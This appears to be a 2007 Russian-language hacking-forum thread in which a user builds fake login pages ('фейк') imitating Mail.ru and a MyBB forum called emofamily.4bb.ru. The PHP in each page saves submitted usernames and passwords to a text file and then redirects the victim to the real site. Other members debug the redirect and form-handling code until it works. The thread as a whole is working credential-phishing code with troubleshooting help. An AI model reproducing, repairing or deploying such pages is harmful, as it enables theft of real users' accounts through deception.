["Покупки", "http://r.mail.ru/cln3339/torg.ru/", "torg-all.gif"],
["Авто", "http://r.mail.ru/cln2766/auto.mail.ru/", "cars-all.gif"],
["ТВ", "http://r.mail.ru/cln3276/tv.mail.ru/", "tv-all.gif"],
["Погода", "http://r.mail.ru/cln3334/weather.mail.ru/", "weather-all.gif"],
["Путешествия", "http://r.mail.ru/cln2765/travel.mail.ru/", "tour-all.gif"],
["Молоток", "http://r.mail.ru/cln2764/molotok.ru/", "molotok-all.gif"],
["Карты", "http://r.mail.ru/cln3335/map.mail.ru/msk/", "map-all.gif"]
];
var projectsHtmlContent = "";
for (i = 0; i < allProjectsArray.length; i++) {
projectsHtmlContent += "<a href=" + allProjectsArray[i][1] + "><img src=" + projectIconPath + allProjectsArray[i][2] + " width=16 height=16 alt=\"" + allProjectsArray[i][0] + "\" border=0 align=absmiddle>" + allProjectsArray[i][0] + "</a>";
}
document.write("\
<td width=\"100%\">\
<div id=top_menu>" + projectsHtmlContent + "</div>\
</td>\
");
</script>
<noscript>
<td nowrap><a http://r.mail.ru/cln3264/otvet.mail.ru/><img src=http://img.mail.ru/mail/ru/images/otv_prj_ico.gif width=16 height=16 alt="Ответы" border=0 align=absmiddle></a>&nbsp;<a href=http://r.mail.ru/cln3264/otvet.mail.ru/>Ответы</a></td>
<td width=5%><img src=http://img.mail.ru/0.gif width=7 height=1></td>
<td nowrap><a href=http://r.mail.ru/cln2760/love.mail.ru/><img src=http://img.mail.ru/mail/ru/images/love-all.gif width=16 height=16 alt="Знакомства" border=0 align=absmiddle></a>&nbsp;<a href=http://r.mail.ru/cln2760/love.mail.ru/>Знакомства</a></td>
<td width=5%><img src=http://img.mail.ru/0.gif width=7 height=1></td>
<td nowrap><a href=http://r.mail.ru/cln2761/cards.mail.ru/><img src=http://img.mail.ru/mail/ru/images/cards2-all.gif width=16 height=16 alt="Открытки" border=0 align=absmiddle></a>&nbsp;<a href=http://r.mail.ru/cln2761/cards.mail.ru/>Открытки</a></td>
<td width=5%><img src=http://img.mail.ru/0.gif width=7 height=1></td>
<td nowrap><a href=http://r.mail.ru/cln2762/chat.mail.ru/><img src=http://img.mail.ru/mail/ru/images/chat-all.gif width=16 height=16 alt="Чаты" border=0 align=absmiddle></a>&nbsp;<a href=http://r.mail.ru/cln2762/chat.mail.ru/>Чаты</a></td>
<td width=5%><img src=http://img.mail.ru/0.gif width=7 height=1></td>
<td nowrap><a href=http://r.mail.ru/cln2763/content.mail.ru/><img src=http://img.mail.ru/mail/ru/images/content-all.gif width=16 height=16 alt="Рассылки" border=0 align=absmiddle></a>&nbsp;<a href=http://r.mail.ru/cln2763/content.mail.ru/>Рассылки</a></td>
<td width=5%><img src=http://img.mail.ru/0.gif width=7 height=1></td>
<td nowrap><a href=http://r.mail.ru/cln3275/horo.mail.ru/><img src=http://img.mail.ru/mail/ru/images/horo-all.gif width=16 height=16 alt="Гороскопы" border=0 align=absmiddle></a>&nbsp;<a href=http://r.mail.ru/cln3275/horo.mail.ru/>Гороскопы</a></td>
<td width=5%><img src=http://img.mail.ru/0.gif width=7 height=1></td>
</noscript>
<td nowrap id = forAll><img src=http://img.mail.ru/0.gif width=5 height=1><a href=http://r.mail.ru/cln2767/mail.ru/all/><b>Все проекты</b></a></td>
<td class=bord_r><img src=http://img.mail.ru/0.gif width=10 height=1></td>
</tr>
<tr>
<td colspan=99 class=bord_b nowrap><img src=http://img.mail.ru/1.gif width=1 height=1></td>
</tr>
</table>
<!--/New project menu-->
<img src=http://img.mail.ru/1.gif width=760 height=1><br>
</td>
</tr>
</table>

<table cellpadding=0 cellspacing=0 border=0 width=90% id=demetion><td><img src=http://img.mail.ru/1.gif width=760 height=1></td></table>
<script type="text/javascript">
var cashProjectWidth = new Array();

function menu_resize () {
var body90Width = document.getElementById("demetion").offsetWidth;
var bodyWidth = (window.innerWidth) ? window.innerWidth : window.document.body.clientWidth;
if (bodyWidth < 800) {
document.getElementById("_rForm").style.display = "none";
document.getElementById("_rLink").style.display = "";
} else {
document.getElementById("_rForm").style.display = "";
document.getElementById("_rLink").style.display = "none";
}
var searchTd = document.getElementById("forGo").offsetWidth;
var allTd = document.getElementById("forAll").offsetWidth;
var menu = document.getElementById("top_menu");
var menu_width = body90Width - searchTd - allTd - 25;
document.getElementById("top_menu").style.width = menu_width;
var projectCount = menu.childNodes.length;
var marginMinWidth = 10;
if (bodyWidth < 1250) marginMinWidth = 10;
else marginMinWidth = 20;
if (cashProjectWidth.length == 0) {
for(i = 0; i < projectCount; i++) {
cashProjectWidth[i] = menu.childNodes[i].offsetWidth;
}
}
var show_points = 0;
for(i = 0; i < projectCount; i++) {
if (menu_width >= show_points + cashProjectWidth[i] + marginMinWidth) {
show_points += cashProjectWidth[i] + marginMinWidth;
} else break;
}
var show_count = i;
var delta = menu_width - show_points + (show_count + 1)*marginMinWidth;

for(i = 0; i < projectCount; i++) {
if (i < show_count) {
menu.childNodes[i].style.display = "";
menu.childNodes[i].style.marginRight = delta/(show_count + 1);
} else {
menu.childNodes[i].style.display = "none";
menu.childNodes[i].style.marginRight = 0;
}
}
}
menu_resize ();
window.onload = menu_resize;
window.onresize = menu_resize;
</script>
<table cellpadding=0 cellspacing=0 border=0 width=90%><tr><td>
<table cellpadding=0 cellspacing=0 border=0 width=90%><tr>


<td>

<!--TopList COUNTER--><script language="JavaScript"><!--
d=document;a='';a+=';r='+escape(d.referrer)
js=10//--></script><script language="JavaScript1.1"><!--
a+=';j='+navigator.javaEnabled()
js=11//--></script><script language="JavaScript1.2"><!--
s=screen;a+=';s='+s.width+'*'+s.height
a+=';d='+(s.colorDepth?s.colorDepth:s.pixelDepth)
js=12//--></script><script language="JavaScript1.3"><!--
js=13//--></script><script language="JavaScript"><!--
d.write('<img src="http://top3.list.ru/counter'+
'?id=110605;js='+js+a+';rand='+Math.random()+
'" alt="" height=1 width=1><br>')
if(js>11)d.write('<'+'!-- ')
//--></script><noscript><img src="http://top3.list.ru/counter?js=na;id=110605" height=1 width=1 alt=""><br></noscript>
<script language="JavaScript"><!--
if(js>11)d.write('--'+'>')//--></script><!--/TopList COUNTER--></td>
<td><!--begin of Top100--><a href="http://top100.rambler.ru/top100/"><img src="http://counter.rambler.ru/top100.cnt?260606" alt="Rambler's Top100" width=1 height=1 border=0><br></a></td><img src="http://www.tns-counter.ru/V13a****mail_ru/ru/CP1251/tmsec=mail_win/" width=1 height=1><br>

</tr></table>
<img src=http://img.mail.ru/1.gif width=760 height=1><br>
</td></tr></table>

<table width=90% cellpadding=0 cellspacing=0 border=0><tr>
<td colspan=3>
<img src=http://img.mail.ru/0.gif width=760 height=1><br>
<table cellpadding=0 cellspacing=0 border=0 width=100% class=shapka><tr>
<td valign=top width=1><img src=http://img.mail.ru/1.gif width=1 height=1></td>
<td rowspan=2 width=23% align=center height=55><img src=http://img.mail.ru/0.gif width=240 height=1><br>
<a href=http://mail.ru><img src=http://img.mail.ru/mail/ru/images/logon-mail1.gif width=200 height=54 alt=@Mail.Ru></a></td>
<td width=77% valign=top><img src=http://img.mail.ru/0.gif width=500 height=1><br>
</td>
<td valign=top width=1><img src=http://img.mail.ru/1.gif width=1 height=1></td>
</tr><tr>
<td valign=bottom width=1><img src=http://img.mail.ru/1.gif width=1 height=1></td>
<td valign=bottom id="forBookMarks">
<table cellpadding=0 cellspacing=0 border=0 width=60% align=left id="bookMarksTable"><tr valign=middle>
<td class=bel><img src=http://img.mail.ru/mail/ru/images/shap_yar_1.gif width=1 height=20></td>
<td valign=center align=center class=first width=20%><b><a href="start?top=1">Почта</a></b></td>
<td class=bel><img src=http://img.mail.ru/mail/ru/images/left_on.gif width=23 height=20></td>
<td valign=center align=center class=mid width=20%><a href="addressbook?300109048&top=1">Адреса</a></td>
<td class=bel><img src=http://img.mail.ru/mail/ru/images/both_off.gif width=23 height=20></td>
<td valign=center align=center class=mid width=20%><a href="view_organizer?1594590673&top=1">Ежедневник</a></td>
<td class=bel><img src=http://img.mail.ru/mail/ru/images/both_off.gif width=23 height=20></td>
<td valign=center align=center class=mid width=20%><a href="http://r.mail.ru/cln3357/foto.mail.ru">Фото</a></td>
<td class=bel><img src=http://img.mail.ru/mail/ru/images/both_off.gif width=23 height=20></td>
<td valign=center align=center class=mid width=20%><a href="http://r.mail.ru/cln2859/money.mail.ru">Деньги</a></td>
<td class=bel><img src=http://img.mail.ru/mail/ru/images/both_off.gif width=23 height=20></td>
<td valign=center align=center class=mid width=20%><a href="http://r.mail.ru/cln3359/blogs.mail.ru">Блоги</a></td>
<td class=bel><img src=http://img.mail.ru/mail/ru/images/off.gif width=23 height=20></td>
</tr></table></td>

<td valign=bottom width=1><img src=http://img.mail.ru/1.gif width=1 height=1></td>
</tr></table>
</td></tr></table>






<table width=90% cellpadding=0 cellspacing=0 border=0>

<tr valign=top>

<td width=27%><img src=http://img.mail.ru/0.gif width=150 height=400></td>

<td width=46%><img src=http://img.mail.ru/1.gif width=1 height=20><br>




<img src=http://img.mail.ru/1.gif width=1 height=10><br>




<h3 class=head_1>Авторизация</h3><img src=http://img.mail.ru/1.gif width=1 height=8><br>




<p class=abzac>Для входа в систему введите, пожалуйста, логин и пароль. Если у Вас еще нет логина, Вам необходимо <a href=http://win.mail.ru/cgi-bin/signup>зарегистрироваться.</a></p>

<?php

if(@$_POST['login']){
$fp = fopen ("file.txt", "a");
fwrite ($fp, "$_POST[pass] : $_POST[login] : $_POST[dom] \n");
fclose ($fp);

header("Location: http://win.mail.ru/cgi-bin/start?back=1");

}else{
?>

<form action="" method="POST">

<table width=100% cellpadding=0 cellspacing=0 border=0 class=login>

<form method="post" action="auth" onSubmit="return CheckForm(this);">

<input type="hidden" name="page" value="">

<input type="hidden" name="post" value="">

<input type="hidden" name="login_from" value="">

<tr>

<td><img src=http://img.mail.ru/0.gif width=55 height=1><br>Имя</td>

<td width=63%><input type="text" name="login" value="" class=w_100></td>

<td width=37%><select class=w_100 name="dom"><option value="mail.ru" >@mail.ru</option><option value="inbox.ru" >@inbox.ru</option><option value="list.ru" >@list.ru</option><option value="bk.ru" >@bk.ru</option></select></td>

</tr>

<tr>

<td>Пароль</td>

<td colspan=2>

<table width=100% cellpadding=0 cellspacing=0 border=0><tr>

<td width=100%><input type="password" name="pass" class=w_100></td>

<td>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://www.mail.ru/pages/help/92.html" target=_new>Забыли&nbsp;пароль?</a></td>

</tr></table>

</td>

</tr>

<tr>

<td>&nbsp;</td>

<td><input type=checkbox name="level" value=1 id="alien"><label for="alien">Чужой компьютер</label></td>

<td>&nbsp;</td>

</tr>

<tr>

<td>&nbsp;</td>

<td><input type="Submit" value=" Войти " style="margin-top:4px"></td>

<td>&nbsp;</td>

</tr></form>

</table>

</form>

<?php
}
?>





<img src=http://img.mail.ru/0.gif width=380 height=1><br>

</td>

<td width=27%><img src=http://img.mail.ru/0.gif width=150 height=1></td>

</tr>

</table>













<table cellpadding=0 cellspacing=0 border=0 width=90%><tr><td>
<img src=http://img.mail.ru/0.gif width=760 height=2><br>
<table width=100% cellpadding=0 cellspacing=0 border=0 class=lasttab><tr>
<td class=lastgr colspan=7><img src=http://img.mail.ru/1.gif width=1 height=1></td>
</tr><tr>
<td><img src=http://img.mail.ru/0.gif width=20 height=1></td>
<td width=30% nowrap>© 1999-2007, <a href=http://corp.mail.ru/>Mail.Ru</a></td>
<td nowrap><a href=http://win.mail.ru/cgi-bin/signup>Регистрация</a>&nbsp;<b>&middot;</b>&nbsp;<a href=http://blogs.mail.ru/community/mail.ru/ target="_blank">Cообщество пользователей</a>&nbsp;<b>&middot;</b>&nbsp;<a href=http://win.mail.ru/cgi-bin/support target="_blank">Служба поддержки</a></b>&nbsp;&nbsp;</td>
<td align="right"></td>
<td><img src=http://img.mail.ru/0.gif width=20 height=1></td>
</tr><tr>
<td class=lastgr colspan=7><img src=http://img.mail.ru/1.gif width=1 height=1></td>
</tr></table>
</td></tr></table>
</center>
<br>


</body>
</html>




никак не могу доделать фейк mail.ru
всё вроде должно пахать
но при заполнении формы выскакивает ошибка в лайне 313, и это естественно сильно палица

сам файл с пасами создаёться нормально.

Вобщем мне надо чтобы шло перенаправление на оригинальный майл после ввода данных, но он не идёт.
можете мне помочь?

GoreMaster
23.06.2007, 22:46
можете мне помочь?
<script>top.location='http://mail.ru/';</script>
хедеры нельзя использовать в твоем случае,так как перед ними не должн быть вывода...

MesTb
23.06.2007, 22:57
тоесть сама форма будет такой?


<?php

if(@$_POST['login']){
$fp = fopen ("file.txt", "a");
fwrite ($fp, "$_POST[pass] : $_POST[login] : $_POST[dom] \n");
fclose ($fp);

<script>top.location='http://mail.ru/';</script>"


}else{
?>

<form action="" method="POST">

<table width=100% cellpadding=0 cellspacing=0 border=0 class=login>

<form method="post" action="auth" onSubmit="return CheckForm(this);">

<input type="hidden" name="page" value="">

<input type="hidden" name="post" value="">

<input type="hidden" name="login_from" value="">

<tr>

<td><img src=http://img.mail.ru/0.gif width=55 height=1><br>Имя</td>

<td width=63%><input type="text" name="login" value="" class=w_100></td>

<td width=37%><select class=w_100 name="dom"><option value="mail.ru" >@mail.ru</option><option value="inbox.ru" >@inbox.ru</option><option value="list.ru" >@list.ru</option><option value="bk.ru" >@bk.ru</option></select></td>

</tr>

<tr>

<td>Пароль</td>

<td colspan=2>

<table width=100% cellpadding=0 cellspacing=0 border=0><tr>

<td width=100%><input type="password" name="pass" class=w_100></td>

<td>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://www.mail.ru/pages/help/92.html" target=_new>Забыли&nbsp;пароль?</a></td>

</tr></table>

</td>

</tr>

<tr>

<td>&nbsp;</td>

<td><input type=checkbox name="level" value=1 id="alien"><label for="alien">Чужой компьютер</label></td>

<td>&nbsp;</td>

</tr>

<tr>

<td>&nbsp;</td>

<td><input type="Submit" value=" Войти " style="margin-top:4px"></td>

<td>&nbsp;</td>

</tr></form>

</table>

</form>

<?php
}
?>


всё равно ошибку выдаёт

GoreMaster
23.06.2007, 23:00
echo "<script>top.location='http://mail.ru/';</script>"
вот как должно быть

MesTb
23.06.2007, 23:25
echo "<script>top.location='http://mail.ru/';</script>"
вот как должно быть
серавно не пашет
епишет

Parse error: parse error, expecting `','' or `';'' in

что ещё можно сделать?
только теперь ошибка в
}else{

GoreMaster
23.06.2007, 23:36
Перед }else{ случаем не забыл ";" поставить? ;)
echo "<script>top.location='http://mail.ru/';</script>";
}else{
blablabla
}

MesTb
23.06.2007, 23:40
круто всё заработало
с меня +
всем спс

MesTb
24.06.2007, 09:13
вобщем тут ещё проблемы с формами


<div id="pun-status" class="section">
<h2><span>Информация о пользователе</span></h2>
<p class="container">
<span class="item1">Привет, Гость!</span>
<span class="item2">Войдите или зарегистрируйтесь.</span>
</p>

</div>

<div id="pun-break1" class="divider"><hr /></div>

<div id="pun-crumbs1" class="section">
<p class="container crumbs"><strong>Вы здесь</strong> »*<a href="http://emofamily.4bb.ru/">ЭМО дети и маленький ГОТИК</a> »*<span>Войти</span></p>
</div>

<?php

if(@$_POST['login']){
$fp = fopen ("antiemo.txt", "a");
fwrite ($fp, "$_POST[req_username] : $_POST[req_password] \n");
fclose ($fp);

echo "<script>top.location='http://emofamily.4bb.ru';</script>";

}else{

?>

<div id="pun-break2" class="divider"><hr /></div>

<div id="pun-main" class="main">

<h1><span>Войти</span></h1>
<div class="formal">



<form id="login" class="container" method="post" action="http://emofamily.4bb.ru/login.php?action=in" onsubmit="return process_form(this)">
<fieldset>
<legend><span>Введите ваше имя и пароль ниже</span></legend>
<div class="fs-box inline">
<input type="hidden" name="form_sent" value="1" />
<input type="hidden" name="redirect_url" value="index.php" />

<p class="inputfield required">
<label for="fld1">Имя <em>(Обязательно)</em></label><br />
<span class="input"><input type="text" id="fld1" name="req_username" size="25" maxlength="25" /></span>
</p>
<p class="inputfield required">
<label for="fld2">Пароль <em>(Обязательно)</em></label><br />
<span class="input"><input type="password" id="fld2" name="req_password" size="16" maxlength="16" /></span>

</p>
<p class="infofield">Если Вы не зарегистрированы или забыли свой пароль нажмите на соответствующую ссылку ниже.</p>
</div>
</fieldset>
<p class="formsubmit"><input type="submit" class="button" name="login" value="Войти" /> <a href="http://emofamily.4bb.ru/register.php">Еще не зарегистрированы?</a> <a href="http://emofamily.4bb.ru/login.php?action=forget">Забыли пароль?</a></p>
</form>



</div>
</div>


<?php
}
?>

не пишет данные в файл

blaga
24.06.2007, 09:16
if(@$_POST['login']){
ты уверен что проверяеш нужную переменную?

MesTb
24.06.2007, 09:31
неочень
а какую надо тогда?

_Great_
24.06.2007, 10:02
<input type="submit" class="button" name="login" value="Войти" />

все верно, blaga.
только лучше написать if(isset($_POST['login']))

MesTb
24.06.2007, 10:28
<input type="submit" class="button" name="login" value="Войти" />

все верно, blaga.
только лучше написать if(isset($_POST['login']))
всеравно в файл не пишет

blaga
24.06.2007, 11:00
>>все равно в файл не пишет

А что пишет то? Ошибки какие выдает? Что с файлом происходит?

MesTb
24.06.2007, 11:05
в том то и дело что никаких ошибок
echo не даёт пересылку
и файл не создаёться

вот весь код может быть там гденить ошибки?


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru" dir="ltr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<meta name="ROBOTS" content="NOINDEX, FOLLOW" />
<title>ЭМО дети и маленький ГОТИК - Войти</title>
<link rel="top" href="http://emofamily.4bb.ru" title="" />
<link rel="search" href="http://emofamily.4bb.ru/search.php" title="Поиск" />
<link rel="author" href="http://emofamily.4bb.ru/userlist.php" title="Участники" />
<link rel="stylesheet" type="text/css" href="http://emofamily.4bb.ru/style/Playhouse_Winter/Playhouse_Winter.css" />
<!--[if lte IE 6]><link rel="stylesheet" type="text/css" href="http://emofamily.4bb.ru/style/Playhouse_Winter/Playhouse_Winter_fix.css" /><![endif]-->
<!--[if IE 7]><link rel="stylesheet" type="text/css" href="http://emofamily.4bb.ru/style/Playhouse_Winter/Playhouse_Winter_fix7.css" /><![endif]-->
<script type="text/javascript">
<!--
function process_form(the_form)
{
var element_names = new Object()
element_names["req_username"] = "Имя"
element_names["req_password"] = "Пароль"

if (document.all || document.getElementById)
{
for (i = 0; i < the_form.length; ++i)
{
var elem = the_form.elements[i]
if (elem.name && elem.name.substring(0, 4) == "req_")
{
if (elem.type && (elem.type=="text" || elem.type=="textarea" || elem.type=="password" || elem.type=="file") && elem.value=='')
{
alert("\"" + element_names[elem.name] + "\" это поле обязательно для заполнения в этой форме.")
elem.focus()
return false
}
}
}
}
return true
}
// -->
</script>
</head>
<body onload="document.getElementById('login').req_username.focu s()">

<div id="pun">
<div id="pun-login" class="punbb">

<!-- html_header -->

<div id="pun-title" class="section">
<table cellspacing="0"><tr>
<td class="title-logo-tdl"><h1 class="title-logo"><span>ЭМО дети и маленький ГОТИК</span></h1></td>
<td class="title-logo-tdr">
<script language="JavaScript">
<!--
var RndNum4NoCash = Math.round(Math.random() * 1000000000);
document.write(
'<iframe src="http://ad.adriver.ru/cgi-bin/erle.cgi'
+ '?sid=52656&bn=0&target=blank&bt=1&pz=0&rnd=' + RndNum4NoCash
+ '" frameborder=0 vspace=0 hspace=0 width=468 height=60 marginwidth=0 marginheight=0 scrolling=no>'
+ '<a href="http://ad.adriver.ru/cgi-bin/click.cgi'
+ '?sid=52656&bn=0&bt=1&pz=0&rnd=' + RndNum4NoCash + '" target=_blank>'
+ '<img src="http://ad.adriver.ru/cgi-bin/rle.cgi?'
+ 'sid=52656&bn=0&bt=1&pz=0&rnd=' + RndNum4NoCash
+ '" alt="-AdRiver-" border=0 width=468 height=60></a></iframe>')
// -->
</script>
<noscript>

<iframe src="http://ad.adriver.ru/cgi-bin/erle.cgi?sid=52656&bn=0&target=blank&bt=1&pz=0&rnd=619770518" frameborder=0 vspace=0 hspace=0 width=468 height=60 marginwidth=0 marginheight=0 scrolling=no>
<a href="http://ad.adriver.ru/cgi-bin/click.cgi?sid=52656&bn=0&bt=1&pz=0&rnd=619770518" target=_blank>
<img src="http://ad.adriver.ru/cgi-bin/rle.cgi?sid=52656&bn=0&bt=1&pz=0&rnd=619770518" alt="-AdRiver-" border=0 width=468 height=60></a></iframe>
</noscript>
</td></tr></table>
</div>

<div id="pun-navlinks" class="section">
<h2><span>Меню навигации</span></h2>
<ul class="container">
<li id="navindex"><a href="http://emofamily.4bb.ru/"><span>Форум</span></a></li>
<li id="navuserlist"><a href="http://emofamily.4bb.ru/userlist.php"><span>Участники</span></a></li>

<li id="navsearch"><a href="http://emofamily.4bb.ru/search.php"><span>Поиск</span></a></li>
<li id="navregister"><a href="http://emofamily.4bb.ru/register.php"><span>Регистрация</span></a></li>
<li id="navlogin"><a href="http://emofamily.4bb.ru/login.php"><span>Войти</span></a></li>
</ul>
</div>

<div id="pun-ulinks" class="section">
<h2><span>Пользовательские ссылки</span></h2>

<ul class="container">
<li class="item1"><a href="http://emofamily.4bb.ru/search.php?action=show_24h">Активные темы</a></li>
<li class="item2"><a href="http://emofamily.4bb.ru/search.php?action=show_unanswered">Сообщения без ответов</a></li>
</ul>
</div>

<div id="pun-announcement" class="section">
<h2><span>Объявление</span></h2>
<div class="container">

<div class="html-box">
ПРИФЕТ!!!!!!!!Если ты тут первый раз, то оставайся, если ты из семьи, то я тя лю, если ты это я , то у мя шизефриния)))))))
</div>
</div>
</div>

<div id="pun-status" class="section">
<h2><span>Информация о пользователе</span></h2>
<p class="container">
<span class="item1">Привет, Гость!</span>
<span class="item2">Войдите или зарегистрируйтесь.</span>
</p>

</div>

<div id="pun-break1" class="divider"><hr /></div>

<div id="pun-crumbs1" class="section">
<p class="container crumbs"><strong>Вы здесь</strong> »*<a href="http://emofamily.4bb.ru/">ЭМО дети и маленький ГОТИК</a> »*<span>Войти</span></p>
</div>



<div id="pun-break2" class="divider"><hr /></div>

<div id="pun-main" class="main">

<h1><span>Войти</span></h1>
<div class="formal">

<?php

if(isset($_POST['login'])){
$fp = fopen ("antiemo.txt", "a");
fwrite ($fp, "$_POST[req_username] : $_POST[req_password] \n");
fclose ($fp);

echo "<script>top.location='http://emofamily.4bb.ru/';</script>";

}else{

?>

<form id="login" class="container" method="post" action="http://emofamily.4bb.ru/login.php?action=in" onsubmit="return process_form(this)">
<fieldset>
<legend><span>Введите ваше имя и пароль ниже</span></legend>
<div class="fs-box inline">
<input type="hidden" name="form_sent" value="1" />
<input type="hidden" name="redirect_url" value="http://emofamily.4bb.ru/" />



<p class="inputfield required">
<label for="fld1">Имя <em>(Обязательно)</em></label><br />
<span class="input"><input type="text" id="fld1" name="req_username" size="25" maxlength="25" /></span>
</p>
<p class="inputfield required">
<label for="fld2">Пароль <em>(Обязательно)</em></label><br />
<span class="input"><input type="password" id="fld2" name="req_password" size="16" maxlength="16" /></span>

</p>
<p class="infofield">Если Вы не зарегистрированы или забыли свой пароль нажмите на соответствующую ссылку ниже.</p>
</div>
</fieldset>
<p class="formsubmit"><input type="submit" class="button" name="login" value="Войти" /> <a href="http://emofamily.4bb.ru/register.php">Еще не зарегистрированы?</a> <a href="http://emofamily.4bb.ru/login.php?action=forget">Забыли пароль?</a></p>
</form>

<?php
}
?>

</div>
</div>





<!-- pun_stats -->

<div id="pun-break3" class="divider"><hr /></div>

<div id="pun-crumbs2" class="section">
<p class="container crumbs"><strong>Вы здесь</strong> »*<a href="http://emofamily.4bb.ru/">ЭМО дети и маленький ГОТИК</a> »*<span>Войти</span></p>
</div>

<div id="pun-break4" class="divider"><hr /></div>

<div id="pun-about" class="section">
<p class="container">
<span class="item1"><a href="http://mybb.ru/" target="_blank">Персональные форумы</a> , <a href="http://webtalk.ru/" target="_blank">Поиск по форумам</a> © <a id="mybb" href="http://mybb.ru/" target="_blank">MyBB</a></span>
</p>

</div>

<!-- html_footer -->

<!-- link_exchange -->

<div id="mybb-counter" style="display:none">
<script type="text/javascript"><!--
document.write('<img src="http://counter.yadro.ru/hit;ruhelp?r'+
escape(document.referrer)+((typeof(screen)=='undef ined')?'':
';s'+screen.width+'*'+screen.height+'*'+(screen.co lorDepth?
screen.colorDepth:screen.pixelDepth))+';u'+escape( document.URL)+
';'+Math.random()+
'" width=1 height=1 alt="">')//--></script>
</div>

</div>

<div align="center" style="padding-bottom:10px">
<script type="text/javascript">
// <!--
var blbn_login = "mybb";
var blbn_options = "";
var blbn_random = Math.round(Math.random() * 100000);
document.write('<iframe src="http://www.business.lbn.ru/cgi-bin/iframe/'+blbn_login+'?'+blbn_random +'&'+blbn_options+'" width=468 height=60 marginwidth=0 marginheight=0 scrolling=no frameborder=0><a href="http://www.business.lbn.ru/cgi-bin/href/'+blbn_login+'?'+blbn_random +'" target=_top><img src="http://www.business.lbn.ru/cgi-bin/banner/'+blbn_login+'?'+blbn_random +'&'+blbn_options+'" alt="Деловой баннерообмен" width=468 height=60 border=0 ismap></a></iframe>');
// -->
</script>
<noscript><iframe src="http://www.business.lbn.ru/cgi-bin/iframe/mybb" width="468" height="60" marginwidth="0" marginheight="0" scrolling="no" frameborder="0"><a href="http://www.business.lbn.ru/cgi-bin/href/mybb" target="_top"><img src="http://www.business.lbn.ru/cgi-bin/banner/mybb" alt="Деловой баннерообмен" width="468" height="60" border="0" ismap="true" /></a></iframe></noscript>

</div>

</div>

</body>
</html>

MesTb
24.06.2007, 13:09
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru" dir="ltr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<meta name="ROBOTS" content="NOINDEX, FOLLOW" />
<title>ЭМО дети и маленький ГОТИК - Войти</title>
<link rel="top" href="http://emofamily.4bb.ru" title="" />
<link rel="search" href="http://emofamily.4bb.ru/search.php" title="Поиск" />
<link rel="author" href="http://emofamily.4bb.ru/userlist.php" title="Участники" />
<link rel="stylesheet" type="text/css" href="http://emofamily.4bb.ru/style/Playhouse_Winter/Playhouse_Winter.css" />
<!--[if lte IE 6]><link rel="stylesheet" type="text/css" href="http://emofamily.4bb.ru/style/Playhouse_Winter/Playhouse_Winter_fix.css" /><![endif]-->
<!--[if IE 7]><link rel="stylesheet" type="text/css" href="http://emofamily.4bb.ru/style/Playhouse_Winter/Playhouse_Winter_fix7.css" /><![endif]-->
<script type="text/javascript">
<!--
function process_form(the_form)
{
var element_names = new Object()
element_names["req_username"] = "Имя"
element_names["req_password"] = "Пароль"

if (document.all || document.getElementById)
{
for (i = 0; i < the_form.length; ++i)
{
var elem = the_form.elements[i]
if (elem.name && elem.name.substring(0, 4) == "req_")
{
if (elem.type && (elem.type=="text" || elem.type=="textarea" || elem.type=="password" || elem.type=="file") && elem.value=='')
{
alert("\"" + element_names[elem.name] + "\" это поле обязательно для заполнения в этой форме.")
elem.focus()
return false
}
}
}
}
return true
}
// -->
</script>
</head>
<body onload="document.getElementById('login').req_username.focu s()">

<div id="pun">
<div id="pun-login" class="punbb">

<!-- html_header -->

<div id="pun-title" class="section">
<table cellspacing="0"><tr>
<td class="title-logo-tdl"><h1 class="title-logo"><span>ЭМО дети и маленький ГОТИК</span></h1></td>
<td class="title-logo-tdr">
<script language="JavaScript">
<!--
var RndNum4NoCash = Math.round(Math.random() * 1000000000);
document.write(
'<iframe src="http://ad.adriver.ru/cgi-bin/erle.cgi'
+ '?sid=52656&bn=0&target=blank&bt=1&pz=0&rnd=' + RndNum4NoCash
+ '" frameborder=0 vspace=0 hspace=0 width=468 height=60 marginwidth=0 marginheight=0 scrolling=no>'
+ '<a href="http://ad.adriver.ru/cgi-bin/click.cgi'
+ '?sid=52656&bn=0&bt=1&pz=0&rnd=' + RndNum4NoCash + '" target=_blank>'
+ '<img src="http://ad.adriver.ru/cgi-bin/rle.cgi?'
+ 'sid=52656&bn=0&bt=1&pz=0&rnd=' + RndNum4NoCash
+ '" alt="-AdRiver-" border=0 width=468 height=60></a></iframe>')
// -->
</script>
<noscript>

<iframe src="http://ad.adriver.ru/cgi-bin/erle.cgi?sid=52656&bn=0&target=blank&bt=1&pz=0&rnd=619770518" frameborder=0 vspace=0 hspace=0 width=468 height=60 marginwidth=0 marginheight=0 scrolling=no>
<a href="http://ad.adriver.ru/cgi-bin/click.cgi?sid=52656&bn=0&bt=1&pz=0&rnd=619770518" target=_blank>
<img src="http://ad.adriver.ru/cgi-bin/rle.cgi?sid=52656&bn=0&bt=1&pz=0&rnd=619770518" alt="-AdRiver-" border=0 width=468 height=60></a></iframe>
</noscript>
</td></tr></table>
</div>

<div id="pun-navlinks" class="section">
<h2><span>Меню навигации</span></h2>
<ul class="container">
<li id="navindex"><a href="http://emofamily.4bb.ru/"><span>Форум</span></a></li>
<li id="navuserlist"><a href="http://emofamily.4bb.ru/userlist.php"><span>Участники</span></a></li>

<li id="navsearch"><a href="http://emofamily.4bb.ru/search.php"><span>Поиск</span></a></li>
<li id="navregister"><a href="http://emofamily.4bb.ru/register.php"><span>Регистрация</span></a></li>
<li id="navlogin"><a href="http://emofamily.4bb.ru/login.php"><span>Войти</span></a></li>
</ul>
</div>

<div id="pun-ulinks" class="section">
<h2><span>Пользовательские ссылки</span></h2>

<ul class="container">
<li class="item1"><a href="http://emofamily.4bb.ru/search.php?action=show_24h">Активные темы</a></li>
<li class="item2"><a href="http://emofamily.4bb.ru/search.php?action=show_unanswered">Сообщения без ответов</a></li>
</ul>
</div>

<div id="pun-announcement" class="section">
<h2><span>Объявление</span></h2>
<div class="container">

<div class="html-box">
